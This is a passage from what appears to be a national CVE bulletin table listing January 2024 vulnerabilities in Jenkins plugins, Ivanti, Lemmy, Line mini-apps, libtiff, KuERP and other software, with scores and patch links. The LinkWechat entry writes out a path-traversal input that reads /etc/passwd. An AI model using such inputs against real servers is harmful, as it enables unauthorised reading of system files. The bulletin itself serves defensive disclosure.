Server-Side Request Forgery (SSRF)	31-Jan-2024	8.2	A server-side request forgery vulnerability in the SAML component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) and Ivanti Neurons for ZTA allows an attacker to access certain restricted resources without authentication. **CVE ID : CVE-2024-21893**	https://forums.ivanti.com/s/article/CVE-2024-21888-Privilege-Escalation-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure?language=en_US	A-IVA-POLI-140224/617
Vendor: Jenkins					
Product: github_branch_source					
Affected Version(s): * Up to (including) 684.vea_fa_7c1e2fe3					
N/A	24-Jan-2024	6.5	Jenkins GitLab Branch Source Plugin 684.vea_fa_7c1e2fe3 and earlier unconditionally discovers projects that are shared with the configured owner group, allowing attackers to configure and share a project,	https://www.jenkins.io/security/advisory/2024-01-24/#SECURITY-3040	A-JEN-GITH-140224/618

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			resulting in a crafted Pipeline being built by Jenkins during the next scan of the group. **CVE ID : CVE-2024-23901**		
Incorrect Comparison	24-Jan-2024	5.3	Jenkins GitLab Branch Source Plugin 684.vea_fa_7c1e2fe3 and earlier uses a non-constant time comparison function when checking whether the provided and expected webhook token are equal, potentially allowing attackers to use statistical methods to obtain a valid webhook token. **CVE ID : CVE-2024-23903**	https://www.jenkins.io/security/advisory/2024-01-24/#SECURITY-2871	A-JEN-GITH-140224/619
Cross-Site Request Forgery (CSRF)	24-Jan-2024	4.3	A cross-site request forgery (CSRF) vulnerability in Jenkins GitLab Branch Source Plugin 684.vea_fa_7c1e2fe3 and earlier allows attackers to connect to an attacker-specified URL.	https://www.jenkins.io/security/advisory/2024-01-24/#SECURITY-3251	A-JEN-GITH-140224/620

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-23902		
Product: git_server					
Affected Version(s): * Up to (including) 99.va_0826a_b_cdfa_d					
N/A	24-Jan-2024	6.5	Jenkins Git server Plugin 99.va_0826a_b_cdfa_d and earlier does not disable a feature of its command parser that replaces an '@' character followed by a file path in an argument with the file's contents, allowing attackers with Overall/Read permission to read content from arbitrary files on the Jenkins controller file system. **CVE ID : CVE-2024-23899**	https://www.jenkins.io/security/advisory/2024-01-24/#SECURITY-3319	A-JEN-GIT_-140224/621
Product: jenkins					
Affected Version(s): * Up to (including) 2.426.2					
N/A	24-Jan-2024	7.5	Jenkins 2.441 and earlier, LTS 2.426.2 and earlier does not disable a feature of its CLI command parser that replaces an '@' character followed by a file path in an argument with the file's contents, allowing unauthenticated attackers to read	https://www.jenkins.io/security/advisory/2024-01-24/#SECURITY-3314	A-JEN-JENK-140224/622

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			arbitrary files on the Jenkins controller file system. **CVE ID : CVE-2024-23897**		
Affected Version(s): * Up to (including) 2.441					
N/A	24-Jan-2024	7.5	Jenkins 2.441 and earlier, LTS 2.426.2 and earlier does not disable a feature of its CLI command parser that replaces an '@' character followed by a file path in an argument with the file's contents, allowing unauthenticated attackers to read arbitrary files on the Jenkins controller file system. **CVE ID : CVE-2024-23897**	https://www.jenkins.io/security/advisory/2024-01-24/#SECURITY-3314	A-JEN-JENK-140224/623
Affected Version(s): From (including) 2.217 Up to (including) 2.441					
Origin Validation Error	24-Jan-2024	8.8	Jenkins 2.217 through 2.441 (both inclusive), LTS 2.222.1 through 2.426.2 (both inclusive) does not perform origin validation of requests made through the CLI WebSocket endpoint, resulting in a cross-site WebSocket	https://www.jenkins.io/security/advisory/2024-01-24/#SECURITY-3315	A-JEN-JENK-140224/624

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			hijacking (CSWSH) vulnerability, allowing attackers to execute CLI commands on the Jenkins controller. **CVE ID : CVE-2024-23898**		
Affected Version(s): From (including) 2.222.1 Up to (including) 2.426.2					
Origin Validation Error	24-Jan-2024	8.8	Jenkins 2.217 through 2.441 (both inclusive), LTS 2.222.1 through 2.426.2 (both inclusive) does not perform origin validation of requests made through the CLI WebSocket endpoint, resulting in a cross-site WebSocket hijacking (CSWSH) vulnerability, allowing attackers to execute CLI commands on the Jenkins controller. **CVE ID : CVE-2024-23898**	https://www.jenkins.io/security/advisory/2024-01-24/#SECURITY-3315	A-JEN-JENK-140224/625
Product: log_command					
Affected Version(s): * Up to (including) 1.0.2					
N/A	24-Jan-2024	7.5	Jenkins Log Command Plugin 1.0.2 and earlier does not disable a feature of its command parser that replaces an '@' character followed by a file path in an	https://www.jenkins.io/security/advisory/2024-01-24/#SECURITY-3334	A-JEN-LOG_-140224/626

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			argument with the file's contents, allowing unauthenticated attackers to read content from arbitrary files on the Jenkins controller file system. **CVE ID : CVE-2024-23904**		
Product: matrix_project					
Affected Version(s): * Up to (including) 822.v01b_8c85d16d2					
N/A	24-Jan-2024	4.3	Jenkins Matrix Project Plugin 822.v01b_8c85d16d2 and earlier does not sanitize user-defined axis names of multi-configuration projects, allowing attackers with Item/Configure permission to create or replace any config.xml files on the Jenkins controller file system with content not controllable by the attackers. **CVE ID : CVE-2024-23900**	https://www.jenkins.io/security/advisory/2024-01-24/#SECURITY-3289	A-JEN-MATR-140224/627
Product: red_hat_dependency_analytics					
Affected Version(s): * Up to (including) 0.7.1					
Improper Neutralization of	24-Jan-2024	5.4	Jenkins Red Hat Dependency Analytics Plugin	https://www.jenkins.io/security/advisory/202	A-JEN-RED_-140224/628

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Input During Web Page Generation ('Cross-site Scripting')			0.7.1 and earlier programmatically disables Content-Security-Policy protection for user-generated content in workspaces, archived artifacts, etc. that Jenkins offers for download. **CVE ID : CVE-2024-23905**	4-01-24/#SECURITY-3322	
Vendor: jeremiahorem					
Product: custom_user_css					
Affected Version(s): * Up to (including) 0.2					
Cross-Site Request Forgery (CSRF)	29-Jan-2024	8.8	The Custom User CSS WordPress plugin through 0.2 does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack. **CVE ID : CVE-2023-6391**	N/A	A-JER-CUST-140224/629
Vendor: jester_project					
Product: jester					
Affected Version(s): * Up to (including) 0.6.0					
N/A	19-Jan-2024	9.8	An issue in dom96 Jester v.0.6.0 and before allows a remote attacker to execute arbitrary code via a crafted request.	N/A	A-JES-JEST-140224/630

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-50693		
Vendor: jfinalcms_project					
Product: jfinalcms					
Affected Version(s): 5.0.0					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	23-Jan-2024	6.1	Cross Site Scripting (XSS) vulnerability in JFinalcms 5.0.0 allows attackers to run arbitrary code via the /admin/login username parameter. **CVE ID : CVE-2024-22496**	N/A	A-JFI-JFIN-140224/631
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	23-Jan-2024	6.1	Cross Site Scripting (XSS) vulnerability in /admin/login password parameter in JFinalcms 5.0.0 allows attackers to run arbitrary code via crafted URL. **CVE ID : CVE-2024-22497**	N/A	A-JFI-JFIN-140224/632
Vendor: join-lemmy					
Product: lemmy					
Affected Version(s): From (including) 0.17.0 Up to (excluding) 0.19.1					
N/A	24-Jan-2024	6.5	Lemmy is a link aggregator and forum for the fediverse. Starting in version 0.17.0 and prior to version 0.19.1, users can report private messages, even when they're	https://github.com/LemmyNet/lemmy/commit/bc32b408b523b9b64aa57b8e47748f96cce0dae5, https://github.com/LemmyNet/lemmy/securit	A-JOI-LEMM-140224/633

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			neither sender nor recipient of the message. The API response to creating a private message report contains the private message itself, which means any user can just iterate over message ids to (loudly) obtain all private messages of an instance. A user with instance admin privileges can also abuse this if the private message is removed from the response, as they're able to see the resulting reports. Creating a private message report by POSTing to `/api/v3/private_message/report` does not validate whether the reporter is the recipient of the message. lemmy-ui does not allow the sender to report the message; the API method should likely be restricted to accessible to recipients only.	y/advisories/GHSA-r64r-5h43-26qv	

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			The API response when creating a report contains the `private_message_report_view` with all the details of the report, including the private message that has been reported: Any authenticated user can obtain arbitrary (untargeted) private message contents. Privileges required depend on the instance configuration; when registrations are enabled without application system, the privileges required are practically none. When registration applications are required, privileges required could be considered low, but this assessment heavily varies by instance. Version 0.19.1 contains a patch for this issue. A workaround is available. If an update to a fixed Lemmy version is		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			not immediately possible, the API route can be blocked in the reverse proxy. This will prevent anyone from reporting private messages, but it will also prevent exploitation before the update has been applied. **CVE ID : CVE-2024-23649**		
Vendor: jonathonkemp					
Product: wordpress_users					
Affected Version(s): * Up to (including) 1.4.0					
Cross-Site Request Forgery (CSRF)	29-Jan-2024	8.8	The WordPress Users WordPress plugin through 1.4 does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack. **CVE ID : CVE-2023-6390**	N/A	A-JON-WORD-140224/634
Vendor: joommasters					
Product: jmssetting					
Affected Version(s): * Up to (including) 1.1.0					
Improper Neutralization of Special Elements used in an	19-Jan-2024	9.8	In the module "Jms Setting" (jmssetting) from Joommasters for PrestaShop, a guest can perform SQL	https://security.friendsofpresta.org/modules/2024/01/16/jmssetting.html	A-JOO-JMSS-140224/635

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
SQL Command ('SQL Injection')			injection in versions <= 1.1.0. The method `JmsSetting::getSecondImgs()` has a sensitive SQL call that can be executed with a trivial http call and exploited to forge a blind SQL injection. **CVE ID : CVE-2023-50030**		
Vendor: jspxcms					
Product: jspxcms					
Affected Version(s): 10.2.0					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	19-Jan-2024	6.1	A vulnerability has been found in Jspxcms 10.2.0 and classified as problematic. Affected by this vulnerability is an unknown functionality of the component Survey Label Handler. The manipulation leads to cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-251545 was assigned to this vulnerability. **CVE ID : CVE-2024-0721**	N/A	A-JSP-JSPX-140224/636

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Vendor: jsrsasign_project					
Product: jsrsasign					
Affected Version(s): * Up to (excluding) 11.0.0					
Observable Discrepancy	22-Jan-2024	5.9	Versions of the package jsrsasign before 11.0.0 are vulnerable to Observable Discrepancy via the RSA PKCS1.5 or RSAOAEP decryption process. An attacker can decrypt ciphertexts by exploiting this vulnerability. Exploiting this vulnerability requires the attacker to have access to a large number of ciphertexts encrypted with the same key. Workaround This vulnerability can be mitigated by finding and replacing RSA and RSAOAEP decryption with another crypto library. **CVE ID : CVE-2024-21484**	https://github.com/kjur/jsrsasign/issues/598, https://github.com/kjur/jsrsasign/releases/tag/11.0.0, https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-6070734, https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWERGITHUBKJUR-6070733	A-JSR-JSRS-140224/637
Vendor: Jupyter					
Product: language_server_protocol_integration					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Affected Version(s): * Up to (excluding) 2.2.2					
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	18-Jan-2024	9.8	jupyter-lsp is a coding assistance tool for JupyterLab (code navigation + hover suggestions + linters + autocompletion + rename) using Language Server Protocol. Installations of jupyter-lsp running in environments without configured file system access control (on the operating system level), and with jupyter-server instances exposed to non-trusted network are vulnerable to unauthorised access and modification of file system beyond the jupyter root directory. This issue has been patched in version 2.2.2 and all users are advised to upgrade. Users unable to upgrade should uninstall jupyter-lsp. **CVE ID : CVE-2024-22415**	https://github.com/jupyter-lsp/jupyterlab-lsp/commit/4ad12f204ad0b85580fc32137c647baaff044e95, https://github.com/jupyter-lsp/jupyterlab-lsp/security/advisories/GHSA-4qhp-652w-c22x	A-JUP-LANG-140224/638
Vendor: Kanboard					
Product: kanboard					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Affected Version(s): 1.2.34					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	24-Jan-2024	4.8	Kanboard 1.2.34 is vulnerable to Html Injection in the group management feature. **CVE ID : CVE-2024-22720**	N/A	A-KAN-KANB-140224/639
Vendor: Karjasoft					
Product: sami_http_server					
Affected Version(s): 2.0					
Improper Resource Shutdown or Release	18-Jan-2024	7.5	A vulnerability was found in Karjasoft Sami HTTP Server 2.0. It has been classified as problematic. Affected is an unknown function of the component HTTP HEAD Rrequest Handler. The manipulation leads to denial of service. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-250836. **CVE ID : CVE-2021-4433**	N/A	A-KAR-SAMI-140224/640
Vendor: khronos					
Product: opencl					
Affected Version(s): * Up to (including) 3.0.11					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	A-KHR-OPEN-140224/641
Product: vulkan					
Affected Version(s): * Up to (including) 1.3.224					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	A-KHR-VULK-140224/642
Vendor: Kmint21					
Product: golden_ftp_server					
Affected Version(s): 2.02b					
Improper Resource Shutdown or Release	25-Jan-2024	7.5	A vulnerability was found in Kmint21 Golden FTP Server 2.02b and classified as problematic. This issue affects some unknown	N/A	A-KMI-GOLD-140224/643

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			processing of the component PASV Command Handler. The manipulation leads to denial of service. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-252041 was assigned to this vulnerability. **CVE ID : CVE-2024-0889**		
Vendor: koalaapps					
Product: my_account_page_editor					
Affected Version(s): * Up to (excluding) 1.3.2					
Unrestricted Upload of File with Dangerous Type	16-Jan-2024	8.8	The My Account Page Editor WordPress plugin before 1.3.2 does not validate the profile picture to be uploaded, allowing any authenticated users, such as subscriber to upload arbitrary files to the server, leading to RCE **CVE ID : CVE-2023-4536**	N/A	A-KOA-MY_A-140224/644
Vendor: kodcloud					
Product: kodbox					
Affected Version(s): * Up to (including) 1.43					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
N/A	16-Jan-2024	9.8	An issue discovered in kodbox through 1.43 allows attackers to arbitrarily add Administrator accounts via crafted GET request. **CVE ID : CVE-2023-39691**	N/A	A-KOD-KODB-140224/645
Affected Version(s): 1.43					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	16-Jan-2024	6.1	kodbox v1.43 was discovered to contain a cross-site scripting (XSS) vulnerability via the operation and login logs. **CVE ID : CVE-2023-52068**	N/A	A-KOD-KODB-140224/646
Affected Version(s): 1.49.04					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	kodbox v1.49.04 was discovered to contain a cross-site scripting (XSS) vulnerability via the URL parameter. **CVE ID : CVE-2023-52069**	N/A	A-KOD-KODB-140224/647
Vendor: kuerp_project					
Product: kuerp					
Affected Version(s): * Up to (including) 1.0.4					
Improper Encoding or Escaping of Output	29-Jan-2024	9.8	A vulnerability classified as critical has been found in Sichuan Yougou Technology KuERP up to 1.0.4.	N/A	A-KUE-KUER-140224/648

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Affected is an unknown function of the file /runtime/log. The manipulation leads to improper output neutralization for logs. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-252252. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0987**		
Improper Authentication	29-Jan-2024	9.8	A vulnerability classified as critical was found in Sichuan Yougou Technology KuERP up to 1.0.4. Affected by this vulnerability is the function checklogin of the file /application/index/common.php. The manipulation of the argument App_User_id/App_user_Token leads to improper authentication. The exploit has been disclosed to the public and may be	N/A	A-KUE-KUER-140224/649

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			used. The identifier VDB-252253 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0988**		
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	29-Jan-2024	9.8	A vulnerability, which was classified as problematic, has been found in Sichuan Yougou Technology KuERP up to 1.0.4. Affected by this issue is the function del_sn_db of the file /application/index/controller/Service.php. The manipulation of the argument file leads to path traversal: '../filedir'. The exploit has been disclosed to the public and may be used. VDB-252254 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did	N/A	A-KUE-KUER-140224/650

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			not respond in any way. **CVE ID : CVE-2024-0989**		
Vendor: lana					
Product: lana_shortcodes					
Affected Version(s): * Up to (excluding) 1.2.0					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	16-Jan-2024	5.4	The Lana Shortcodes WordPress plugin before 1.2.0 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which allows users with the contributor role and above to perform Stored Cross-Site Scripting attacks. **CVE ID : CVE-2023-3372**	N/A	A-LAN-LANA-140224/651
Vendor: leadshop					
Product: leadshop					
Affected Version(s): From (including) 1.4.0 Up to (including) 1.4.20					
Deserialization of Untrusted Data	19-Jan-2024	9.8	A vulnerability, which was classified as critical, was found in Hecheng Leadshop up to 1.4.20. Affected is an unknown function of the file /web/leadshop.ph	N/A	A-LEA-LEAD-140224/652

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			p. The manipulation of the argument install leads to deserialization. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-251562 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0739**		
Vendor: Lenovo					
Product: app_store					
Affected Version(s): * Up to (excluding) 12.4.20					
N/A	19-Jan-2024	5.5	An incorrect permissions vulnerability was reported in the Lenovo App Store app that could allow an attacker to use system resources, resulting in a denial of service. **CVE ID : CVE-2023-6450**	https://iknow.lenovo.com.cn/detail/419672	A-LEN-APP_-140224/653
Product: vantage					
Affected Version(s): * Up to (excluding) 4.0.49.0					
Improper Certificate Validation	19-Jan-2024	7.8	A privilege escalation vulnerability was reported in Lenovo Vantage that could allow a local	https://support.lenovo.com/us/en/product_security/LEN-144736	A-LEN-VANT-140224/654

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			attacker to bypass integrity checks and execute arbitrary code with elevated privileges. **CVE ID : CVE-2023-6043**		
Authentication Bypass by Spoofing	19-Jan-2024	6.8	A privilege escalation vulnerability was reported in Lenovo Vantage that could allow a local attacker with physical access to impersonate Lenovo Vantage Service and execute arbitrary code with elevated privileges. **CVE ID : CVE-2023-6044**	https://support.lenovo.com/us/en/product_security/LEN-144736	A-LEN-VANT-140224/655
Vendor: Lepton-cms					
Product: leptoncms					
Affected Version(s): 7.0.0					
Unrestricted Upload of File with Dangerous Type	25-Jan-2024	7.2	An arbitrary file upload vulnerability in LeptonCMS v7.0.0 allows authenticated attackers to execute arbitrary code via uploading a crafted PHP file. **CVE ID : CVE-2024-24399**	N/A	A-LEP-LEPT-140224/656
Vendor: Lesterchan					
Product: wp-postratings					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Affected Version(s): * Up to (excluding) 1.86.1					
Cross-Site Request Forgery (CSRF)	16-Jan-2024	4.8	The WP-PostRatings WordPress plugin before 1.86.1 does not sanitise the postratings_image parameter from its options page (wp-admin/admin.php?page=wp-postratings/postratings-options.php). Even though the page is only accessible to administrators, and protected against CSRF attacks, the issue is still exploitable when the unfiltered_html capability is disabled. **CVE ID : CVE-2021-25117**	N/A	A-LES-WP-P-140224/657
Vendor: libcoap					
Product: libcoap					
Affected Version(s): 4.3.4					
Out-of-bounds Write	27-Jan-2024	7.8	A vulnerability was found in obgm libcoap 4.3.4. It has been rated as critical. Affected by this issue is the function get_split_entry of the file src/coap_oscore.c of the component Configuration File	https://github.com/obgm/libcoap/issues/1310, https://github.com/obgm/libcoap/pull/1311	A-LIB-LIBC-140224/658

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Handler. The manipulation leads to stack-based buffer overflow. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. It is recommended to apply a patch to fix this issue. VDB-252206 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0962**		
Vendor: Libtiff					
Product: libtiff					
Affected Version(s): -					
Out-of-bounds Write	25-Jan-2024	7.5	A segment fault (SEGV) flaw was found in libtiff that could be triggered by passing a crafted tiff file to the TIFFReadRGBATileExt() API. This flaw allows a remote attacker to cause a heap-buffer overflow, leading to a denial of service. **CVE ID : CVE-2023-52356**	https://gitlab.com/libtiff/libtiff/-/issues/622, https://gitlab.com/libtiff/libtiff/-/merge_requests/546	A-LIB-LIBT-140224/659
Affected Version(s): * Up to (excluding) 2023-11-11					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Out-of-bounds Write	25-Jan-2024	7.5	An out-of-memory flaw was found in libtiff that could be triggered by passing a crafted tiff file to the TIFFRasterScanline Size64() API. This flaw allows a remote attacker to cause a denial of service via a crafted input with a size smaller than 379 KB. **CVE ID : CVE-2023-52355**	https://bugzilla.redhat.com/show_bug.cgi?id=2251326	A-LIB-LIBT-140224/660
Vendor: lightcms_project					
Product: lightcms					
Affected Version(s): 2.0					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	29-Jan-2024	5.4	LightCMS v2.0 is vulnerable to Cross Site Scripting (XSS) in the Content Management - Articles field. **CVE ID : CVE-2024-22559**	N/A	A-LIG-LIGH-140224/661
Vendor: lightspeedhq					
Product: ecwid_ecommerce_shopping_cart					
Affected Version(s): * Up to (excluding) 6.12.5					
Cross-Site Request Forgery (CSRF)	16-Jan-2024	4.3	The Ecwid Ecommerce Shopping Cart WordPress plugin before 6.12.5 does not have CSRF check in place when updating its settings, which	N/A	A-LIG-ECWI-140224/662

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			could allow attackers to make a logged in admin change them via a CSRF attack. **CVE ID : CVE-2023-6292**		
Vendor: Linecorp					
Product: line					
Affected Version(s): 13.6.1					
N/A	24-Jan-2024	5.4	An issue in nature fitness saijo mini-app on Line v13.6.1 allows attackers to send crafted malicious notifications via leakage of the channel access token. **CVE ID : CVE-2023-43988**	N/A	A-LIN-LINE-140224/663
N/A	24-Jan-2024	5.4	An issue in mokumoku chohu mini-app on Line v13.6.1 allows attackers to send crafted malicious notifications via leakage of the channel access token. **CVE ID : CVE-2023-43989**	N/A	A-LIN-LINE-140224/664
N/A	24-Jan-2024	5.4	An issue in cherub-hair mini-app on Line v13.6.1 allows attackers to send crafted malicious notifications via leakage of the	N/A	A-LIN-LINE-140224/665

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			channel access token. **CVE ID : CVE-2023-43990**		
N/A	24-Jan-2024	5.4	An issue in PRIMA CLINIC mini-app on Line v13.6.1 allows attackers to send crafted malicious notifications via leakage of the channel access token. **CVE ID : CVE-2023-43991**	N/A	A-LIN-LINE-140224/666
N/A	24-Jan-2024	5.4	An issue in STOCKMAN GROUP mini-app on Line v13.6.1 allows attackers to send crafted malicious notifications via leakage of the channel access token. **CVE ID : CVE-2023-43992**	N/A	A-LIN-LINE-140224/667
N/A	24-Jan-2024	5.4	An issue in smaregi_app_market mini-app on Line v13.6.1 allows attackers to send crafted malicious notifications via leakage of the channel access token. **CVE ID : CVE-2023-43993**	N/A	A-LIN-LINE-140224/668

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
N/A	24-Jan-2024	5.4	An issue in Cleaning_makotoya mini-app on Line v13.6.1 allows attackers to send crafted malicious notifications via leakage of the channel access token. **CVE ID : CVE-2023-43994**	N/A	A-LIN-LINE-140224/669
N/A	24-Jan-2024	5.4	An issue in picot.golf mini-app on Line v13.6.1 allows attackers to send crafted malicious notifications via leakage of the channel access token. **CVE ID : CVE-2023-43995**	N/A	A-LIN-LINE-140224/670
N/A	24-Jan-2024	5.4	An issue in Q co ltd mini-app on Line v13.6.1 allows attackers to send crafted malicious notifications via leakage of the channel access token. **CVE ID : CVE-2023-43996**	N/A	A-LIN-LINE-140224/671
N/A	24-Jan-2024	5.4	An issue in Yoruichi hobby base mini-app on Line v13.6.1 allows attackers to send crafted malicious notifications via	N/A	A-LIN-LINE-140224/672

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			leakage of the channel access token. **CVE ID : CVE-2023-43997**		
N/A	24-Jan-2024	5.4	An issue in Books-futaba mini-app on Line v13.6.1 allows attackers to send crafted malicious notifications via leakage of the channel access token. **CVE ID : CVE-2023-43998**	N/A	A-LIN-LINE-140224/673
N/A	24-Jan-2024	5.4	An issue in COLORFUL_laundry mini-app on Line v13.6.1 allows attackers to send crafted malicious notifications via leakage of the channel access token. **CVE ID : CVE-2023-43999**	N/A	A-LIN-LINE-140224/674
N/A	24-Jan-2024	5.4	An issue in Otakara lapis totuka mini-app on Line v13.6.1 allows attackers to send crafted malicious notifications via leakage of the channel access token. **CVE ID : CVE-2023-44000**	N/A	A-LIN-LINE-140224/675

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
N/A	24-Jan-2024	5.4	An issue in Ailand clinic mini-app on Line v13.6.1 allows attackers to send crafted malicious notifications via leakage of the channel access token. **CVE ID : CVE-2023-44001**	N/A	A-LIN-LINE-140224/676
N/A	26-Jan-2024	5.4	An issue in Luxe Beauty Clinic mini-app on Line v13.6.1 allows attackers to send crafted malicious notifications via leakage of the channel access token. **CVE ID : CVE-2023-48126**	N/A	A-LIN-LINE-140224/677
N/A	26-Jan-2024	5.4	An issue in myGAKUYA mini-app on Line v13.6.1 allows attackers to send crafted malicious notifications via leakage of the channel access token. **CVE ID : CVE-2023-48127**	N/A	A-LIN-LINE-140224/678
N/A	26-Jan-2024	5.4	An issue in UNITED BOXING GYM mini-app on Line v13.6.1 allows attackers to send crafted malicious notifications via	N/A	A-LIN-LINE-140224/679

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			leakage of the channel access token. **CVE ID : CVE-2023-48128**		
N/A	26-Jan-2024	5.4	An issue in GINZA CAFE mini-app on Line v13.6.1 allows attackers to send crafted malicious notifications via leakage of the channel access token. **CVE ID : CVE-2023-48130**	N/A	A-LIN-LINE-140224/680
N/A	26-Jan-2024	5.4	An issue in CHIGASAKI BAKERY mini-app on Line v13.6.1 allows attackers to send crafted malicious notifications via leakage of the channel access token. **CVE ID : CVE-2023-48131**	N/A	A-LIN-LINE-140224/681
N/A	26-Jan-2024	5.4	An issue in kosei entertainment esportsstudioLegends mini-app on Line v13.6.1 allows attackers to send crafted malicious notifications via leakage of the channel access token.	N/A	A-LIN-LINE-140224/682

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-48132		
N/A	26-Jan-2024	5.4	An issue in angel coffee mini-app on Line v13.6.1 allows attackers to send crafted malicious notifications via leakage of the channel access token. **CVE ID : CVE-2023-48133**	N/A	A-LIN-LINE-140224/683
N/A	26-Jan-2024	5.4	An issue in mimasaka_farm mini-app on Line v13.6.1 allows attackers to send crafted malicious notifications via leakage of the channel access token. **CVE ID : CVE-2023-48135**	N/A	A-LIN-LINE-140224/684
N/A	26-Jan-2024	5.4	An issue in kimono-oldnew mini-app on Line v13.6.1 allows attackers to send crafted malicious notifications via leakage of the channel access token. **CVE ID : CVE-2023-48129**	N/A	A-LIN-LINE-140224/685
Vendor: linkwechat					
Product: linkwechat					
Affected Version(s): 5.1.0					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	25-Jan-2024	7.5	A vulnerability was found in qwdigital LinkWechat 5.1.0. It has been classified as problematic. This affects an unknown part of the file /linkwechat-api/common/download/resource of the component Universal Download Interface. The manipulation of the argument name with the input /profile/../../../../../etc/passwd leads to path traversal: '../filedir'. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-252033 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0882**	N/A	A-LIN-LINK-140224/686
Vendor: Linuxfoundation					
Product: argo-cd					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Affected Version(s): 2.10.0					
